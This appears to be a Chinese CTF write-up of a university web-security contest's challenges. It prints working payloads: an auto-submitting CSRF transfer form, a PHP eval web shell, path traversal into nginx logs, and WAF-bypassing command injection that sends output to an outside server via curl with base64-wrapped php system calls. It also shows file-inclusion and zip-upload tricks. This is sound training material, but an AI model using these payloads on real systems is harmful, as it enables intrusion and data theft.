WriteUP

极客要打一个月,本菜鸡就打了前半个月,后半个月因为其(老)他(懒)比(狗)赛(了)就没接着做题,虽然也不一定做得出来,总而言之写一下WriteUp纪念一下。

Welcome

题目地址: http://49.234.224.119:8000/
题目描述: 欢迎来到极客大挑战!

访问题目链接,发现405报错。
在这里插入图片描述
百度了一下,发现是GET或者POST请求出问题了。拿Postman试一下:
在这里插入图片描述
看了一下需要POST上传一个roam1,roam2,这两个的值不能相等,哈希值要相等,好了,传入数组。
在这里插入图片描述
因为各种哈希都无法对数组进行操作,会返回False。然后又因为False === False => True,所以顺利绕过~

在phpinfo里面找找可以利用的信息:
在这里插入图片描述
众所周知,一般的Apache和nginx的根目录是/var/www/html,所以只需要访问http://49.234.224.119:8000/f1444aagggg.php即可。
访问结果是这:
在这里插入图片描述
其实这是个假页面,是手动写出来的 /捂脸
至于为什么,可以随便访问一个不存在的页面:
在这里插入图片描述
下面会出现Apache信息,然鹅flag页面没有,所以真flag肯定藏在页面信息内。
找了一圈发现在某个偏僻的角落(网络模块的消息头):
在这里插入图片描述
出题人真的挺憨批的/我也是真的憨批···


flagshop

题目地址: http://173.82.206.142:8005/
题目描述: 你给我钱,我给你flag,就是这么简单
提示:1.No sessionid!Don’t Try to be admin(robot?) 2.Do you know csrf?

这道题的考点是CSRF,啥是CSRF?现场百度

看不懂?没事,做完这道题你就懂了。

首先是个登录界面,测了一下SQL注入没啥鸟用(都提示CSRF了就老老实实注册吧)。
在这里插入图片描述
在这里插入图片描述
注册完登录以后给我送了11块钱,感动。往下一拉,发现买flag要好多好多钱,瞬间这11块钱就不香了。
在这里插入图片描述
flag商店上面一点点可以看到财(白)富(嫖)榜,好了我们的目标就是这些人了,具体干啥还不知道,先瞄准Longlone从他下手就完事了。

第二个功能是转账。突然奇思妙想,能不能开个脚本不断注册新用户然后对自己的账户进行转账呢。每次转11块钱?

翻回去看了一下flag的价格我就停止了这个想法
在这里插入图片描述
1万兆RMB,每次转11元需要转1千兆次,每次2秒钟(就算快一点也要一秒以上)大概等比赛结束还没转完。dbq是我太菜。

好了不扯了,那这个转账功能干嘛用的呢,猜测是利用某个漏洞,让Longlone这个大(冤)富(大)豪(头)在不知情的状态下给我转账嗷~

第三个功能是报告,这里还一段戏,重点是我会好好查看你们的报告
在这里插入图片描述
好了破案了,提示了CSRF,那就构造一个链接在这里提交,老板在查看报告的时候点一下链接,钱就没啦~

好了问题来了,怎么构建转账链接呢,代码已写好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://173.82.206.142:8005/transfer.php" enctype="multipart/form-data">
<input id="target" type="text" name="target" value="Wake" />
<input id="money" type="text" name="money" value="111111111111" />
<input id="message" type="text" name="messages" value="hhh" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

把这个页面挂在某个服务器上,然后把访问这个网页的链接提交到报告里面就好啦!

服务器干嘛用呢,这里主要涉及到公网和内网的知识点。一般的机子都是处于一个局域网下,没有一个固定的公网ip,非局域网下的用户没办法访问你的ip,所以就需要一个公网ip。

一般来说个人是没有公网ip的,如果想要的话可以去租个云服务器,或者利用内网穿透将自己的一些端口映射出去即可。

这里采用将恶意网页挂在云服务器上,构造的结果是111.229.xxx.17/aaa.html(菜鸡选择不暴露自己的ip免得被日穿)

然后发现这里需要输入一个验证码,md5哈希值的前五位有要求。然后写了个代码爆破一下:
z

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding:utf-8
#python3
import hashlib
import time

t = time.time()
l = 'qwertyuiopasdfghjklzxcvbnm'
for i in l:
for j in l:
for k in l:
for m in l:
for n in l:
for o in l:
f = i + j + k + m + n + o
md5 = hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()
if md5[:5] == 'f34c3':
print(f)
print(md5)
print(time.time()-t)

在这里插入图片描述
很快就爆出了两个
在这里插入图片描述
然后提交一下:
在这里插入图片描述
去主页看看:
在这里插入图片描述
然后买一下flag就搞定啦~


朋友的学妹

题目地址:http://49.234.224.119:7413/
题目描述:与妹子单独相处一会儿吧

没啥好说的,右键查看源码出flag


EZwww

题目地址:http://47.100.46.169:3901/
题目描述:备份是个好习惯

试了试www.zip,就下载下来了附件。
在这里插入图片描述
这里有个假flag。

打开index.php,看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<title>Lola's website1.0</title>
</head>
<body>
<?php echo '<h1>welcome to my website</h1>'; ?>
<?php echo '<p>i will never forget to backup my website......</p>'; ?>
<?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
</body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
//this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>

key2的结果是sycl0ver
在这里插入图片描述
传一个上去:
在这里插入图片描述


EZgit

题目地址:http://47.100.46.169:3902/
题目描述:当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,嘿嘿嘿。。。

提示git了,先访问http://47.100.46.169:3902/.git
在这里插入图片描述
好了,git源码泄露。

githack上线:传送门

下载下来以后解压,在当前目录打开cmd:

在这里插入图片描述
等两分钟左右 要好久
在这里插入图片描述
在dist下有一个目录,就是刚才githack攻击的结果。
在这里插入图片描述
打开之后flag居然过期了:
在这里插入图片描述
然后理一遍思路:
git是用来这里版本信息的,这里表示版本过期了,那就需要更新一下版本。

可以使用git log -p 查看git所有的日志,一目了然。也可以用git更新一下fl4g.php,flag也会在里面。(前提是要装git,安装过程自行百度~)

在这里插入图片描述


刘壮的黑页

题目地址:http://106.54.75.217:8080/

打开之后再页面底下有源码

1
2
3
4
5
6
7
8
<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
echo $flag;
}

然后GET传一个username=admin,POST传一个passwd=syclover就出flag了。


我是大黑客

点开链接,直接说明有一个liuzhuang.php.bak,访问一下:
在这里插入图片描述
在这里插入图片描述

1
2
3
4
5
6
<?php
eval($_POST['liuzhuang']);

//谁是大恶人 那必定是我liuzhuang
//当你的服务器看到 0xliuzhuang 就知道要买台新机器了
?>

明显的一句话木马,连一下:

在这里插入图片描述
在这里插入图片描述
连上了,根目录下有flag:
在这里插入图片描述


ezbypass

打开链接,要求的上传一个a和一个b,必须满足两个条件:

  • a和b的strcmp结果要为NULL
  • a和b不能相等
    在这里插入图片描述
    利用数组绕过。
    在这里插入图片描述
    这里又要求post传一个c要等于123但是又不能是数字,那就传一个123qwe
    123后面加一些字母/字符就行。
    在这里插入图片描述

知X堂的php教程

题目地址:http://47.94.239.194:8082/
题目描述:知X堂(PS:请勿对号入座)的php教程开课啦!ん?好像不太对劲?

进去之后有一个可以点的链接,先点一下:
在这里插入图片描述
然后这个url有点奇怪:
在这里插入图片描述
listdir是列出目录下所有文件的意思,那这个php的功能是不是传入一个目录地址可以列出来呢?

是的,但是不全(为什么不全后面会讲)。

这里列出了一个flag.php,点一下:
在这里插入图片描述
虽然是flag.php但是一点诚意都没有,因为这里并没有include其他php,所以就算达成条件也输不出flag。

然后,嗯?这个链接构造有点意思,居然先访问的displaySourceCode.php
咦,难不成这个东西可以直接显示所有文件的内容?试着包含自己
在这里插入图片描述
哦豁,确实可以读取所有东西。

然后,这里出现了一个非预期

我读取了一下日志文件在这里插入图片描述
直接看到了大佬的payload,然后回头试了一下就干进去了。
payload是这个:

1
http://47.94.239.194:8082/displaySourceCode.php?phpfile=../../../../var/log/nginx/access.log

在这里插入图片描述
就在我这么”做出来”的一小时以后,发现这个payload已经不能用了(估计管理员已经将这个文件设置成700权限了吧),Guest用户不可见,还好我机智没把这个页面关掉,这才有了这张截图。把这个payload打一下,直接出flag:
在这里插入图片描述

憨批操作到此为止,接下来上干货,正规解法来了(虽然不知道这个解法会不会也是非预期)!

首先读取一下listdir.php
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include("waf.php");

// 设置目录名称并进行扫描。
$search_dir = $_GET['dirname'];
$title = "教案";

// 防止命令注入
$search_dir = shellWaf($search_dir);

//$contents = scandir($search_dir); 或者使用
exec("ls $search_dir", $contents);

重点部分代码是这块,这里使用exec执行这个命令,而这个语句里面的search_dir是可控的,但是会被waf.php过滤掉一部分,那就去看看waf过滤了啥。
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php

// 防御XSS
function html($string) {
return htmlspecialchars($string);
}

// 防御命令注入
function shellWaf($string) {
return preg_replace("/(&)|(\|)|(>)|(<)/i", "", $string);
}

其实就过滤了& | > <,那就试着利用分号来进行RCE:
举个栗子,我们上传/;echo Wake,那么在PHP里面出来的是

1
ls /;echo Wake

看看linux下的执行结果:
在这里插入图片描述
其实就是两条命令一起执行了!好了,漏洞已经找到,搞就完事了。

前面已经说了 listdir.php 是列出文件的东西,传一个/构造一下:

1
ls /

在这里插入图片描述
只显示了一个start.sh

讲道理的话,根目录下肯定有一堆bin boot等一堆文件夹,然鹅这里没有显示出来,不讲道理,看看源码:
在这里插入图片描述
这里的is_file只显示常规文件,不显示文件夹和非常规文件。那只能想其他办法获取这个内容了,盲猜flag就在根目录下。

这里介绍一下nc,一个被称为瑞士军刀的linux小工具。参考链接
在这里插入图片描述
比如在服务器上开一个nc服务:
在这里插入图片描述
然后访问一下在这里插入图片描述
发现可以在服务器端看到传了些啥
在这里插入图片描述
实用工具介绍完毕,开始干活。众所周知Linux向网页发起请求使用的是curl,比如

1
curl 111.229.xxx.17:1234?hello=qwe

在这里插入图片描述
下面这台机子向上面那台服务器发起请求,可以接到。利用这个来搞事情~
构造出来一个payload:(虽然这么构造但是我们不上传前面那个ls,那个ls是php内置的)

1
ls /;curl 111.229.xxx.17:1234?hello=`ls /`

在这里插入图片描述
服务器端收到了一个bin
在这里插入图片描述
看来是分号将请求截断了,可以用base64绕过

1
ls /;curl 111.229.xxx.17:1234?hello=`ls /|base64`

在这里插入图片描述
这里的|base64是将前面的结果进行base64编码
在这里插入图片描述
但是考虑到waf过滤了|,于是用php套娃。

构造:

1
ls /;php -r 'system(base64_decode("Y3VybCAxMTEuMjI5Lnh4eC4xNzoxMjM0P2hlbGxvPWBscyAvfGJhc2U2NGA="));'

在这里插入图片描述
在这里插入图片描述
真鸡儿困难
在这里插入图片描述
哦,原来文件名叫这个,然后试试列出flagggggggggggggg_1s_here目录下有啥

1
2
3
ls /;curl 111.229.xxx.17:1234?hello=`ls /flagggggggggggggg_1s_here/*|base64`
====>
ls /;php -r 'system(base64_decode("Y3VybCAxMTEuMjI5Lnh4eC4xNzoxMjM0P2hlbGxvPWBscyAvZmxhZ2dnZ2dnZ2dnZ2dnZ2dfMXNfaGVyZS8qfGJhc2U2NGA="));'

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
反手就是一个读取:

1
http://47.94.239.194:8082/displaySourceCode.php?phpfile=../../../../../flagggggggggggggg_1s_here/flag

在这里插入图片描述
有一说一我真菜做了好久好久


Myblog

题目地址:http://173.82.206.142:8006/ 或访问 http://120.27.146.26:8002/
题目描述:我写了个简单的博客,欢迎大家来访问!
提示:

  • 1.Do you know the PHP pseudo-protocol?
  • 2.Every 5 minutes remove all upload files.

进去以后是Home
在这里插入图片描述
找了一圈,发现两个比价有用的线索

  • 不管访问什么界面,url都是index.php?page=xxx
  • login登录界面

根据网url推测这个page是文件包含,试试php伪协议读取源码:

1
http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=login.php

在这里插入图片描述
读取不出来,但是想到原来url的末尾是?page=home,试试去掉.php

1
http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=login

在这里插入图片描述
得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Login</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="all,follow">
<link rel="stylesheet" href="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/css/bootstrap.min.css">
<link rel="stylesheet" href="css/style.default.css" id="theme-stylesheet">
</head>
<body>
<div class="page login-page">
<div class="container d-flex align-items-center">
<div class="form-holder has-shadow">
<div class="row">
<!-- Logo & Information Panel-->
<div class="col-lg-6">
<div class="info d-flex align-items-center">
<div class="content">
<div class="logo">
<h1>欢迎登录</h1>
</div>
<p>—— 博客后台 ——</p>
</div>
</div>
</div>
<!-- Form Panel -->
<div class="col-lg-6 bg-white">
<div class="form d-flex align-items-center">
<div class="content">
<form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">
<div class="form-group">
<input id="login-username" type="text" name="username" required data-msg="请输入用户名" placeholder="用户名" class="input-material">
</div>
<div class="form-group">
<input id="login-password" type="password" name="password" required data-msg="请输入密码" placeholder="密码" class="input-material">
</div>
<button id="login" type="submit" class="btn btn-primary">登录</button>
<div style="margin-top: -40px;">
<!-- <input type="checkbox" id="check1"/>&nbsp;<span>记住密码</span>
<input type="checkbox" id="check2"/>&nbsp;<span>自动登录</span> -->
<div class="custom-control custom-checkbox " style="float: right;">
<input type="checkbox" class="custom-control-input" id="check2" >
<label class="custom-control-label" for="check2">自动登录</label>
</div>
<div class="custom-control custom-checkbox " style="float: right;">
<input type="checkbox" class="custom-control-input" id="check1" >
<label class="custom-control-label" for="check1">记住密码&nbsp;&nbsp;</label>
</div>
</div>
</form>
<br />
<small>没有账号?</small><a href="#" class="signup">&nbsp;不给注册</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- JavaScript files-->
<script src="https://libs.baidu.com/jquery/1.10.2/jquery.min.js"></script>
<script src="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/bootstrap.min.js"></script>
<script src="vendor/jquery-validation/jquery.validate.min.js"></script><!--表单验证-->
<!-- Main File-->
<script src="js/front.js"></script>
</body>
</html>

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

这个代码好像没啥用,放着吧。

然后观察一下登录界面的源码,可以发现有一个admin/user目录
在这里插入图片描述
包含一下这个:
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>


<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>

中间的HTML代码都没用,已经删去。这里有两个php代码,第一个php是登录用的代码,第二个是上传用的代码,先看登录代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>

重点是if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password'])
要求$_POST['password'] == $_SESSION['password'])
我们可以把session这边的cookie删掉,然后上传一个空密码就行啦,顺利绕过登陆~
操作步骤如下:
在这里插入图片描述
删掉以后:
在这里插入图片描述
再输入用户名,点击登录发现这个是个必须填写的选项。
在这里插入图片描述
这个东西可以在前端进行修改,在查看器那边将require删掉即可。
在这里插入图片描述
在这里插入图片描述
然后就登录进去了。

这里有个上传入口,而且后台代码都给你了,想都不想肯定是上传漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>

这里采用白名单过滤,于是可以将php文件打包成zip,改后缀名为jpg,再利用zip伪协议进行读取。

直接上手:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后上传:
在这里插入图片描述
访问一下:
在这里插入图片描述
发现有文件,但是没办法显示(出不来是因为我们这个文件是个压缩包,不是个正经的图片)

然后利用zip伪协议读取一下,格式如下:

1
2
3
zip:// + zip路径 + %23 + php文件名
http://173.82.206.142:8006/?page=zip://./upload/6f49107b371dc2c26e97d8579ecf2c0979936271.jpg%231
#这里不加.php后缀是因为在index.php包含的时候默认加上了

同时上传一个cmd变量执行命令
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述